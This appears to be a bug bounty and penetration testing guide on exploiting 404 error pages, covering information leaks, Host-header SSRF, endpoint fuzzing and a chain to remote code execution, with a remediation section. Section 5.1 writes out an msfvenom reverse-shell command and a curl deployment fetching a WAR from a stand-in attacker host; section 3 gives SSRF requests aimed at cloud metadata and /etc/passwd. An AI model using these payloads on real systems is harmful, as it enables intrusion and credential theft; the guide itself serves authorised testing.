

BUG HUNTING ON 404 ERROR PAGES

— Techniques, Tips & Step-by-Step Reproduction —

A Practical Guide for Bug Bounty Hunters & Penetration Testers

Information Disclosure · SSRF · Hidden Endpoints · Server Fingerprinting · RCE Chains

Compiled from real-world bug bounty write-ups, CVE analysis, and penetration testing methodologies

TABLE OF CONTENTS

1. Why 404 Pages Matter in Bug Hunting	3
2. Information Disclosure on 404 Pages	4
2.1 Server Version & Technology Fingerprinting	4
2.2 Stack Traces & Debug Information	5
2.3 Internal Path & File Structure Leaks	5
3. SSRF via 404 Error Pages (CVE-2026-25545)	6
4. Hidden Endpoint Discovery Through 404s	7
4.1 Fuzzing Behind 404 Responses	7
4.2 Case Study: RabbitMQ Behind Blank 404	8
5. 404 Pages as Attack Chains to RCE	9
5.1 Directory Traversal + Exposed Admin Console	9
6. Testing Methodology & Checklist	10
7. Tools for 404 Page Analysis	12
8. Reporting 404-Based Vulnerabilities	13
9. Conclusion	14

1. WHY 404 PAGES MATTER IN BUG HUNTING

404 (Not Found) error pages are often dismissed as dead ends by both developers and automated scanners. However, they represent one of the most overlooked attack surfaces in modern web applications. A 404 response is not just an error — it is a **window into the application's internal architecture, server configuration, and sometimes even a gateway to critical vulnerabilities.**

Why attackers love 404 pages:

- **Information Disclosure:** Server versions, stack traces, internal paths, and technology stacks are often leaked
- **SSRF Vectors:** Custom 404 pages may fetch external resources, creating Server-Side Request Forgery opportunities
- **Hidden Endpoints:** A 404 on one path doesn't mean the server is empty — it may be hiding admin panels, APIs, or services
- **Attack Chains:** 404 responses can be leveraged in multi-step exploits leading to RCE or account takeover
- **False Sense of Security:** Developers often neglect 404 pages, leaving them with default configurations that leak sensitive data

The key mindset shift: Every 404 is a potential clue. The way an application handles "not found" reveals how it handles "found" — and sometimes, what it doesn't want you to find.

2. INFORMATION DISCLOSURE ON 404 PAGES

Information disclosure is the most common and immediately valuable finding on 404 pages. When an application returns a detailed error instead of a generic "Page Not Found" message, it often reveals critical details about the underlying infrastructure.

2.1 Server Version & Technology Fingerprinting

What to look for:

- Server software name and version (Apache, Nginx, IIS, Tomcat, etc.)
- Operating system details
- Framework versions (Django, Rails, Laravel, ASP.NET, etc.)
- Database type hints
- Programming language versions

Steps to Reproduce:

1. Visit a non-existent URL: `https://target.com/nonexistent-page-12345`
2. Inspect the response body for server signatures
3. Check HTTP response headers for `Server :`, `X-Powered-By :`, `X-AspNet-Version :` headers
4. View page source (Ctrl+U) for hidden comments or meta tags
5. Use Burp Suite Proxy to intercept and inspect the full response

Example Apache disclosure:

```
<hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
```

Example Tomcat disclosure:

```
Apache Tomcat/9.0.41 - Error report
<H1>HTTP Status 404 - Not Found</H1>
<HR size="1" noshade="noshade">
<p><b>Type</b> Status Report</p>
<p><b>Message</b> /nonexistent</p>
<p><b>Description</b> The origin server did not find a current representation ...</p>
```

■ **TIP:** Even if the visible page is generic, always check response headers. Many servers leak version info in `Server` or `X-Powered-By` headers even when the body is sanitized.

2.2 Stack Traces & Debug Information

Development and staging environments often leave debug mode enabled, causing 404 pages to return full stack traces with file paths, function names, and sometimes even source code snippets.

Steps to Reproduce:

1. Trigger a 404 by accessing a non-existent endpoint
2. Look for detailed error messages containing:
 - File system paths (e.g., `/var/www/app/controllers/users.rb:45`)
 - Function/method names and call stacks

- Database query snippets
 - Environment variables or configuration keys
3. Check if the same stack trace appears on different 404 paths (indicates global debug mode)

Example Django debug page (high-value leak):

```
Traceback (most recent call last):
File "/usr/local/lib/python3.9/site-packages/django/core/handlers/exception.py", line
47, in inner
response = get_response(request)
File "/var/www/app/middleware/auth.py", line 23, in process_request
user = User.objects.get(pk=request.session['user_id'])
KeyError: 'user_id'
```

■■ IMPACT: Stack traces reveal internal file structure, framework versions, database models, and sometimes API keys or secrets in environment variables. This is a direct path to targeted attacks.

2.3 Internal Path & File Structure Leaks

404 pages often reveal the application's directory structure through error messages, especially when the requested path is reflected back in the error response.

Steps to Reproduce:

1. Request: GET /api/v1/admin/secret-endpoint
2. Observe if the 404 message reflects the path: The requested URL /api/v1/admin/secret-endpoint was not found on this server.
3. Try path variations to map the API structure:
 - /api/v1/ → /api/v2/ → /api/internal/
 - /admin/ → /admin-panel/ → /manage/
4. Use the leaked paths to build a targeted wordlist for further fuzzing

■ TIP: Some applications use different 404 templates for different sections. A generic 404 on /public/ but a detailed 404 on /admin/ suggests the admin section exists and uses different error handling.

3. SSRF VIA 404 ERROR PAGES (CVE-2026-25545)

One of the most critical and recently discovered 404-based vulnerabilities is **CVE-2026-25545** in Astro framework. Server-Side Rendered (SSR) errors with prerendered custom error pages (e.g., `404.astro` or `500.astro`) were vulnerable to SSRF when the `Host :` header was manipulated.

The Attack Flow:

1. The attacker sends a request with a modified `Host` header pointing to their server
2. The application tries to fetch the custom 404/500 error page from the attacker's domain
3. The attacker's server responds with a redirect to an internal URL
4. The application follows the redirect and fetches internal resources
5. The response (potentially containing sensitive internal data) is returned to the attacker

Steps to Reproduce:

1. Identify if the target uses Astro or similar SSR frameworks with custom error pages
2. Send a request to a non-existent path with a manipulated `Host` header:

```
GET /nonexistent-page HTTP/1.1
Host: attacker-controlled-server.com
User-Agent: Mozilla/5.0
Accept: text/html
```

3. On your attacker server, configure a redirect:

```
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
```

4. If the application follows the redirect, you receive AWS metadata (or other internal resources) in the response
5. Test with other internal targets:
 - `http://localhost:8080/admin` (local services)
 - `http://10.0.0.1/` (internal network)
 - `file:///etc/passwd` (LFI via SSRF)

■ **TIP:** Use Burp Collaborator or Interactsh to detect out-of-band SSRF. Even if the response doesn't return internal data directly, a DNS lookup to your Collaborator domain confirms the server is making requests based on your `Host` header.

■■ **IMPACT:** Full SSRF allowing access to internal services, cloud metadata APIs, and potentially internal admin panels. In cloud environments, this often leads to credential theft and lateral movement.

4. HIDDEN ENDPOINT DISCOVERY THROUGH 404s

A 404 response on one endpoint does not mean the application has no other endpoints. In fact, the **absence** of a 404 can be just as revealing as its presence. Smart fuzzing and differential analysis of 404 responses can uncover hidden admin panels, API endpoints, and internal services.

4.1 Fuzzing Behind 404 Responses

Core Concept: Not all 404s are equal. Compare these responses:

- GET /random-string-123 → 404 (generic, 234 bytes)
- GET /admin → 404 (custom template, 892 bytes)
- GET /api/internal → 403 (different status!)
- GET /swagger.json → 404 (but with CORS headers present)

Steps to Reproduce:

1. Establish a baseline: Request a truly random path and record:

- Status code (404)
- Response body length
- Response headers
- Response time

2. Use ffuf or Burp Intruder to fuzz common paths:

```
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all -fs 234
```

- -fs 234 filters out responses matching the baseline 404 length
- Any response with a different length suggests a different page type

3. Look for status code differences:

- 403 = path exists but forbidden (high value target)
- 401 = requires authentication (also high value)
- 301/302 = redirect to existing resource
- 200 = jackpot — hidden endpoint found

4. Analyze response time differences:

- Fast 404 = path doesn't exist, instantly rejected
- Slow 404 = path partially matches a route pattern, server processes before rejecting

■ **TIP:** Use ffuf -ac (auto-calibrate) to automatically filter out false 404s. This compares multiple random baseline requests to identify and exclude standard error pages.

4.2 Case Study: RabbitMQ Behind Blank 404

A real-world case from Wiz Research demonstrates how a seemingly blank nginx 404 page was hiding a critical RabbitMQ Management Interface:

The Scenario:

- Public IP showed only a blank nginx 404 page — no obvious attack surface
- Initial fuzzing with a small wordlist (60,000 paths) found nothing
- Comprehensive enumeration with a 350,000-path wordlist revealed: /rabbitmq/ → 200 (2884 bytes)
- The endpoint was a RabbitMQ Management Interface exposed to the internet
- Default credentials guest : guest granted full access
- Queue messages contained AWS credentials, leading to cloud compromise

Lessons Learned:

- **Never trust a blank 404.** It only means the root path returns 404, not that nothing exists behind it.
- **Use large wordlists.** A 60,000-word list missed what a 350,000-word list found.
- **Test default credentials.** Exposed admin interfaces often use default or weak credentials.
- **Look for response anomalies.** Even a slight difference in response size or headers can indicate a hidden endpoint.

■■ **IMPACT: Full admin access to message queues, credential theft, and cloud environment compromise. This started from a 'harmless' 404 page.**

5. 404 PAGES AS ATTACK CHAINS TO RCE

404 pages are rarely the final vulnerability — they are often the **first step** in a chain that leads to Remote Code Execution (RCE). A well-documented case by @0xacb and @spaceraccoonsec demonstrates how a target returning a 404 page was leveraged to full RCE via directory traversal and exposed JBoss console.

5.1 Directory Traversal + Exposed Admin Console

The Attack Chain:

1. **Recon:** Target returns 404 on most paths — appears uninteresting
2. **Path Analysis:** Notice the 404 page contains a reference to a Java stack trace or JBoss error template
3. **Directory Traversal Test:** Try accessing known JBoss/JMX console paths through traversal:

```
GET /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo
GET /invoker/JMXInvokerServlet
GET /web-console/ServerInfo.jsp
```

4. **Discovery:** One of these paths returns a 200 with the JBoss Management Console
5. **Exploitation:** Use the JBoss console to deploy a malicious WAR file:

```
# Create malicious WAR with reverse shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f war -o shell.war

# Deploy via JMX console
curl -X POST http://target.com/jmx-console/HtmlAdaptor \
--data "action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=19&arg0=http://attacker.com/shell.war"
```

6. **RCE Achieved:** Access the deployed WAR at /shell/ to trigger the reverse shell

Key Insight: The initial 404 was a misdirection. The application was running JBoss, and the 404 template itself was a JBoss default error page — a critical clue that led to the admin console.

■■ **IMPACT:** Full Remote Code Execution on the server, complete system compromise, and potential lateral movement within the internal network.

6. TESTING METHODOLOGY & CHECKLIST

Use this systematic approach every time you encounter a 404 page during testing:

Phase 1: Passive Analysis (No Interaction)

- ☐ Record baseline 404: status, body length, headers, response time
- ☐ Inspect response body for server signatures, stack traces, paths
- ☐ Check all HTTP response headers (Server, X-Powered-By, X-AspNet-Version)
- ☐ View page source for hidden comments, meta tags, script references
- ☐ Check if 404 template differs across paths (suggests different handlers)

Phase 2: Active Fuzzing

- ☐ Fuzz with large wordlist (350k+ paths) using ffuf/dirsearch
- ☐ Filter out baseline 404s by response length (-fs) and status
- ☐ Look for status anomalies: 403, 401, 301, 302, 500
- ☐ Test common admin paths: /admin, /manage, /console, /api, /swagger
- ☐ Test framework-specific paths: /actuator, /jmx-console, /web-console
- ☐ Test backup files: .bak, .old, .zip, .tar.gz

Phase 3: SSRF & Host Header Testing

- ☐ Modify Host header to attacker domain on 404-triggering requests
- ☐ Add X-Forwarded-Host, X-Forwarded-For, X-Real-IP headers
- ☐ Use Burp Collaborator/Interactsh to detect out-of-band requests
- ☐ Test for redirect following by returning 302 from attacker server
- ☐ Target internal IPs: 169.254.169.254, localhost, 10.0.0.0/8

Phase 4: Authentication & Default Credential Testing

- ☐ Test discovered endpoints for default credentials
- ☐ Common pairs: admin:admin, guest:guest, root:root
- ☐ Test for authentication bypass on admin panels
- ☐ Check for session fixation or weak session management

Phase 5: Chain Analysis

- ☐ Can information disclosure lead to targeted exploits?
- ☐ Can SSRF reach internal APIs or cloud metadata?
- ☐ Can exposed admin consoles be leveraged for RCE?
- ☐ Document the full chain from initial 404 to final impact

7. TOOLS FOR 404 PAGE ANALYSIS

These tools are essential for systematic 404 page analysis and hidden endpoint discovery:

Tool	Purpose	Key Flags for 404 Analysis
ffuf	Fast web fuzzer	-fs (filter size), -ac (auto-calibrate), -mc all (match all codes)
dirsearch	Directory brute-forcer	-e (extensions), -r (recursive), --exclude-status 404
Burp Suite	Proxy + Repeater + Intruder	Compare responses, modify headers, fuzz with Sniper
Burp Collaborator	OOB interaction detection	Detect SSRF via DNS/HTTP callbacks
Interactsh	Open-source OOB framework	Alternative to Collaborator for SSRF detection
httpx	Fast HTTP prober	-status-code, -content-length, -tech-detect
katana	Web crawler	JS rendering, form discovery, endpoint extraction
Wappalyzer	Technology fingerprinting	Browser extension for stack detection
Nuclei	Template-based scanner	Use custom templates for 404-specific checks

Recommended ffuf command for 404 analysis:

```
ffuf -u https://target.com/FUZZ \  
-w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \  
-ac \  
-mc all \  
-o results.json
```

■ **TIP:** Always save output in JSON format (-o results.json) for post-processing. You can analyze response lengths, status codes, and headers programmatically to find anomalies.

8. REPORTING 404-BASED VULNERABILITIES

Finding the bug is only half the battle. A strong report transforms a 404 observation into a valid, payable vulnerability finding.

For Information Disclosure:

- Show the exact 404 response containing leaked information
- Highlight the specific lines revealing server version, paths, or stack traces
- Explain how this information aids targeted attacks
- Reference CVSS: typically **Low to Medium** (CVSS 3.1: ~4.3-6.5)

For SSRF via 404:

- Provide the exact request with modified Host header
- Show the Collaborator/Interactsh interaction proof
- Demonstrate internal resource access (cloud metadata, localhost)
- Chain to maximum impact: credential theft, internal access, data exfiltration
- Reference CVSS: typically **High to Critical** (CVSS 3.1: ~7.5-9.8)

For Hidden Endpoint Discovery:

- Document the fuzzing methodology and wordlist used
- Show the differential analysis (baseline 404 vs. discovered endpoint)
- Demonstrate what the hidden endpoint exposes (admin panel, API, etc.)
- If credentials work, show the full access achieved
- Reference CVSS: varies from **Medium to Critical** depending on endpoint sensitivity

For RCE Chains:

- Map the full chain: 404 → information leak → hidden endpoint → admin access → RCE
- Include proof-of-concept code or screenshots at each step
- Demonstrate the reverse shell or code execution
- Suggest remediation for each link in the chain
- Reference CVSS: **Critical** (CVSS 3.1: ~9.0-10.0)

■ **TIP:** Always include a 'Remediation' section. Suggest custom error pages without server signatures, proper Host header validation, and removal of default admin interfaces.

9. CONCLUSION

The 404 page is not a dead end — it is a starting point.

Every bug hunter has skipped past a 404 page at some point. The difference between an average hunter and a great one is that the great hunter sees the 404 as a signal, not noise. It signals:

- **What technology is running** (through server signatures and stack traces)
- **What the application is hiding** (through differential response analysis)
- **What internal services exist** (through SSRF and Host header manipulation)
- **What attack chains are possible** (from information disclosure to RCE)

The case studies in this guide — from Astro SSRF (CVE-2026-25545) to the RabbitMQ hidden behind a blank 404, to the JBoss RCE chain — all started with the same simple observation: **a 404 page that was slightly different from what it should have been.**

Your methodology:

1. **Never ignore a 404.** Record it, analyze it, compare it.
2. **Fuzz aggressively.** Small wordlists miss big findings.
3. **Manipulate headers.** Host, X-Forwarded-Host, and Referer can turn 404s into SSRF.
4. **Think in chains.** A 404 leak → hidden endpoint → admin panel → RCE is a valid and valuable finding.
5. **Document everything.** The difference between a tip and a bounty is the quality of your report.

Now go find what those 404 pages are hiding.

Compiled from real-world bug bounty research, CVE analysis, and penetration testing methodologies.

References: Intigriti Bug Bytes #233 (Feb 2026), Aikido Security Astro SSRF Analysis (CVE-2026-25545), Wiz Research AI vs Humans Web Hacking (2026), Valency Networks Error Page Disclosure Guide, OWASP WSTG